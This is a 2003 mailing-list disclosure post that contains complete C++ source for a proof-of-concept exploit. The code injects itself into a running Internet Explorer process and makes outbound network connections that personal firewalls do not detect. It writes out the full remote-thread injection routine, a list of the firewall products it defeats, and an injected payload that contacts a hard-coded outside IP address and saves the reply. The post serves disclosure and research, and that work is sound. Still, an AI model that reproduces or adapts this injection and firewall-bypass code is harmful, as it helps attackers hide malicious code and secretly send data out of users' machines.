Bypassing Personal Firewalls

[xenophi1e <oliver.lavery () sympatico ca>]

Hi,

Here's a code snippet that injects code directly into a running process 
without the need for a DLL etc. Demonstrates that process boundaries 
under NT mean very little within the context of a given UID.

This allows PFWs to be bypassed, as well as making it very easy to hide 
running malicious code on a system. The example is a 'sploit that makes a 
connection from within IE, and slips under the radar of all PFWs I've 
tested.

Having briefly discussed this with PFW vendors, it doesn't appear to be 
much of a concern to them. I think it illustrates that OpenProcess, 
ptrace, and the like should really enforce filesystem priviledges on the 
processes they can modify.


///////////////////////////////////////////////////////////////////
// fw_bypass.cpp | thermite.exe
///////////////////////////////////////////////////////////////////
//
// (C) 2003 Oliver Lavery
//
// This program establishes socket connections and transfers information 
in a manner
// which should be undetectable by all current personal firewall products.
//
// Tested on:
//              Windows XP Professional SP1
//              (should run on any NT variant)
//
// Known vulnerable:
//              ZoneAlarm Pro 3.5 (all settings at highest)
//              Zero-Knowledge Freedom Firewall
//              Look'n'Stop 2.04
//              Sygate Personal Firewall PRO (highest settings)
//              Norton Personal Firewall 2003 (highest settings)
//
//              (should smoke 'em all)
//

////
// Compile me with VC++ 98. Other compilers may work.
//
// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" 
// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c 
// (no stack checking, no "catch release errors in debug", no incremental 
linking.
//  they all break stuff here)


#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from 
Windows headers

#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>

//////////// Injected Code.//////////////

// This code is a bit funky. The idea here is to write C in such a way 
that it is relocatable
// in the strictest sense of the word (can be passed accross process 
boundaries at run-time).
// To do this the injected code has to contain no static references to 
symbols that reside at 
// a fixed memory address. Also this part of the code is incompatable 
with incremental linking, 
// and stack checking.
//
// There's really no advantage to doing this in C rather than assembly 
other than the
// fact that it's cool. I wanted to see if it would be feasible to inject 
C code for other, 
// bigger projects.


// NB, please excuse the Hungarian notiation. I hate it too. When in 
Rome...

//User32
typedef int     (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText, 
LPCTSTR lpCaption, UINT uType ); 
//Wsock32
typedef SOCKET (__stdcall *func_socket)( int, int, int );
typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
typedef u_short (__stdcall *func_htons)( u_short ); 
typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr 
FAR*, int );
typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int 
flags );
typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested, 
LPWSADATA lpWSAData ); 
 
//Kernel32
typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD, 
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE ); 
typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD, 
LPDWORD, LPOVERLAPPED ); 
typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject ); 

typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR ); 
typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR ); 
typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR ); 
 

typedef struct _tag_inj_info {
        func_GetModuleHandle GetModuleHandle; 
        func_GetProcAddress GetProcAddress; 
        func_LoadLibrary LoadLibrary;
        char szRequest[128];
        int  lRequest;
        char szFile[255];
        char szAddr[32];
        char szErrCmnt1[64];
        char szErrCmnt2[64];
        char szErrTitle1[64];
        char szErrTitle2[64];
        char szErrTitle3[64];
// module names
        char szKernel32[32];
        char szUser32[32];
        char szWSock32[32];
// func names
        char szMessageBox[32];
        char szSocket[32];
        char szInet_Addr[32];
        char szHtons[32];
        char szConnect[32];
        char szSend[32];
        char szRecv[32];
        char szCreateFile[32];
        char szWriteFile[32];
        char szCloseHandle[32];
        char szWSAStartup[32];
} inj_info ;


// Calls to the stack-checking routine must be disabled.
// VC++ doesn't always obey this pragma
#pragma check_stack(off)

// This function runs in IE's address space
static DWORD WINAPI ThreadFunc( inj_info *info ) 
{
        HMODULE hKernel32, hWSock32, hUser32;

        // User32
        func_MessageBox l_MessageBox;

        // Winsock2
        func_WSAStartup l_WSAStartup;
        func_socket l_socket;
        func_inet_addr l_inet_addr;
        func_htons l_htons; 
        func_connect l_connect;
        func_send l_send;
        func_recv l_recv;
          
        // Kernel32
        func_CreateFile l_CreateFile; 
        func_WriteFile l_WriteFile; 
        func_CloseHandle l_CloseHandle; 
 
        // locals for actual functionality
        SOCKET s;
        SOCKADDR_IN sa;
        HANDLE outfile;
        char buf[255];
        DWORD count;
        DWORD read, wrote, error;
        BOOL needStartup;
        WSADATA foo;
        WORD wVersion;

        count = 0;
        wVersion = MAKEWORD( 2, 0 );
        needStartup = FALSE;

        // Dynamically bind API functions

        hUser32 = info->GetModuleHandle( info->szUser32 );
        if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
> szUser32 );
        if (hUser32 == NULL) return 0;
        l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32, 
info->szMessageBox );

        hKernel32 = info->GetModuleHandle( info->szKernel32 );
        if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
> szKernel32 );
        if (hKernel32 == NULL) {
                l_MessageBox( NULL, info->szKernel32, info->szErrTitle3, 
MB_OK );
                return 0;
        }
        l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32, 
info->szCreateFile );
        l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32, 
info->szWriteFile );
        l_CloseHandle = (func_CloseHandle)info->GetProcAddress( 
hKernel32, info->szCloseHandle );


        hWSock32 = info->GetModuleHandle( info->szWSock32 );
        if (hWSock32  == NULL) {
                needStartup = TRUE;
                hWSock32 = info->LoadLibrary( info->szWSock32 );
        }
        if (hWSock32  == NULL) {
                l_MessageBox( NULL, info->szWSock32, info->szErrTitle3, 
MB_OK );
                return 0;
        }
        l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32, 
info->szWSAStartup );
        l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
> szSocket );
        l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32, 
info->szInet_Addr );
        l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
> szHtons );
        l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
> szConnect );
        l_send = (func_send)info->GetProcAddress( hWSock32, info-
> szSend );
        l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
> szRecv );

        // Ok. Do stuff.

        if ( needStartup )
        {
                l_WSAStartup(2, &foo);
        }
        s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
        
        sa.sin_family = AF_INET;
        sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
        sa.sin_port = l_htons(80);

        if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
                outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0, 
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
                if ( outfile != INVALID_HANDLE_VALUE ) {
                        l_send( s, info->szRequest, info->lRequest, 0);
                        while ( read = l_recv( s, buf, 255, 0 ) ) {
                                l_WriteFile( outfile, buf, read, &wrote, 
NULL );
                        }
                        l_CloseHandle( outfile );
                } else {
                        l_MessageBox( NULL, info->szErrCmnt1, info-
> szErrTitle1, MB_OK );
                }
        } else {
                l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2, 
MB_OK );
        }
        return 0;
        // XXX forgot to close the socket.
}

static void AfterThreadFunc (void) {
}

#pragma check_stack 

///////// "Normal" Code /////////////

void ErrorNotify(DWORD err, char *title)
{

        LPVOID lpMsgBuf;

        FormatMessage( 
                FORMAT_MESSAGE_ALLOCATE_BUFFER | 
FORMAT_MESSAGE_FROM_SYSTEM,
                NULL,
                err,
                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default 
language
                (LPTSTR) &lpMsgBuf,
                0,
            NULL 
        );

// Display the string.
        MessageBox( NULL, (char *)lpMsgBuf, title, 
MB_OK|MB_ICONINFORMATION );

// Free the buffer.
        LocalFree( lpMsgBuf );
};

// Bits of this function are from M$ Research's Detours library.
// A great resource for ways to do 3vi1 stuff on windows, btw.
static BOOL InjectExploit(HANDLE hProcess)
{
        BOOL fSucceeded = FALSE;

        // The address where code will be copied to in the remote process.
        PDWORD pdwCodeRemote = NULL;

        // Calculate the number of bytes in the ThreadFunc function.
        const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE) 
ThreadFunc);

        // The address where InjLibInfo will be copied to in the remote 
process.
        inj_info *pInjLibInfoRemote = NULL;

        // The number of bytes written to the remote process.
        DWORD dwNumBytesXferred = 0;

        // The handle and Id of the thread executing the remote copy of 
ThreadFunc.
        DWORD dwThreadId = 0;
        const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
        HANDLE hThread = NULL;

        DWORD dwOldProtect;

        inj_info info = {
// functions used to run-time link. (always at same addresses on windows)
                NULL, // GetModuleHandle
                NULL, // GetProcAddress
                NULL, // LoadLibrary
//// initialized data
                "GET / HTTP/1.0\n\n\n",
                strlen("GET / HTTP/1.0\n\n\n"),
                "",
                "205.206.231.12",
                "Can't create file",
                "Can't connect to securityfocus",
                "File Error",
                "Socket Error",
                "Linking Error",
// module names
                "kernel32.dll",
                "user32.dll",
                "wsock32.dll",
// func names
                "MessageBoxA",
                "socket",
                "inet_addr",
                "htons",
                "connect",
                "send",
                "recv",
                "CreateFileA",
                "WriteFile",
                "CloseHandle",
                "WSAStartup"
        };

        GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
        strcat( info.szFile, "\\securityfocus.html");

        HMODULE hKernel32;
        hKernel32 = GetModuleHandle( "kernel32.dll" );
        info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress( 
hKernel32, "GetModuleHandleA" );
        info.GetProcAddress = (func_GetProcAddress)GetProcAddress( 
hKernel32, "GetProcAddress" );
        info.LoadLibrary = (func_LoadLibrary)GetProcAddress( 
hKernel32, "LoadLibraryA" );

        // Allocate memory in the remote process's address space large 
        // enough to hold our ThreadFunc function and a inj_info 
structure.
        pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,
                                                                        
           MEM_COMMIT | MEM_TOP_DOWN,
                                           PAGE_EXECUTE_READWRITE);
        if (pdwCodeRemote == NULL) {
                MessageBox( NULL, "IE not running. Please run IE, load a 
page, and re-run this exploit.", "Can't find process", MB_OK);
                ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
                goto finish;
        }
    
        // Change the page protection of the allocated memory
        // to executable, read, and write.
        if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
                                                  PAGE_EXECUTE_READWRITE, 
&dwOldProtect)) {
                ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
                goto finish;
        }

        // Write a copy of ThreadFunc to the remote process.
        if (!WriteProcessMemory(hProcess, pdwCodeRemote,
                                                        (LPVOID) 
ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
                ErrorNotify( GetLastError(), "WriteProcessMemory 
Failed" );
                goto finish;
        }

        // Write a copy of inj_info to the remote process
        // (the structure MUST start on an even 32-bit boundary).
        pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) + 
((cbCodeSize + 4) & ~3));

        // Put inj_info in remote thread's memory block.
        if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
                                                        &info, sizeof
(info), &dwNumBytesXferred)) {
                ErrorNotify( GetLastError(), "WriteProcessMemory2 
Failed" );
                goto finish;
        }

    if ((hThread = CreateRemoteThread(hProcess, NULL, 65536, 
                                      (LPTHREAD_START_ROUTINE) 
pdwCodeRemote,
                                      pInjLibInfoRemote, 0, &dwThreadId)) 
== NULL) {
        ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
        goto finish;
    }
                
        fSucceeded = TRUE;
        
  finish:
        if (hThread != NULL)
                CloseHandle(hThread);

        if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should 
now contain the results of an HTTP request which in theory could have 
transmitted your private information to a third party.\n"
                "If you did not see a firewall warning, your firewall did 
not detect the request and is vulnerable to this exploit."
                , "Success", MB_OK );
        return fSucceeded;
}

// There is no real reason to target IE, other than most users have it 
running a lot, and it
// is usually allowed to bypass PFWs. Note that using the same technique 
it would be easy to inject
// code to run a server inside another process as well, but IE is not 
normally allowed to do this

// XXX there are better ways to get a PID.
DWORD GetIEProcessID( void )
{
        HANDLE hSnap;
        PROCESSENTRY32 ppe;

        hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

        ppe.dwSize = sizeof( PROCESSENTRY32 );
        Process32First( hSnap, &ppe );
        while ( 1 ) {
                if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return 
ppe.th32ProcessID;
                if ( !Process32Next( hSnap, &ppe ) ) break;
        }
        CloseHandle( hSnap );
        return FALSE;
}
 

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        DWORD dwIE_PID = GetIEProcessID();
        HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
// XYZZY!
        InjectExploit( hIE );
        return 0;
}